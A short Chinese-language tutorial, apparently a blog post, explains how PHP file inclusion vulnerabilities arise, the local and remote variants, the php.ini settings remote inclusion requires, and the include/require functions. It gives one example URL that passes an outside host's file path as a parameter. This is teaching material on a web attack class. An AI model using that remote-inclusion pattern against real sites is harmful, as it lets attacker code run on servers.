文件包含漏洞的原理

文件包含

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多。

文件包含分类

1.本地文件包含
包含服务器本身存在的恶意文件
a.txt
文件包含漏洞的原理_第1张图片

include.php


文件包含漏洞的原理_第2张图片

注:
两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)
被包含的页面的后缀无论是什么都会当做PHP解析

2.远程文件包含

包含其他网站上的恶意文件
远程包含的文件路径必须是绝对路径
远程文件包含利用条件:

在php.ini中allow_url_fopen=on、allow_url_include=on

localhost/b.php?id=http://ip/文件路径

PHP文件包含函数

include()

使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

inclue_once()

功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()

使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。

require_once()
功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

你可能感兴趣的:(文件上传与文件包含)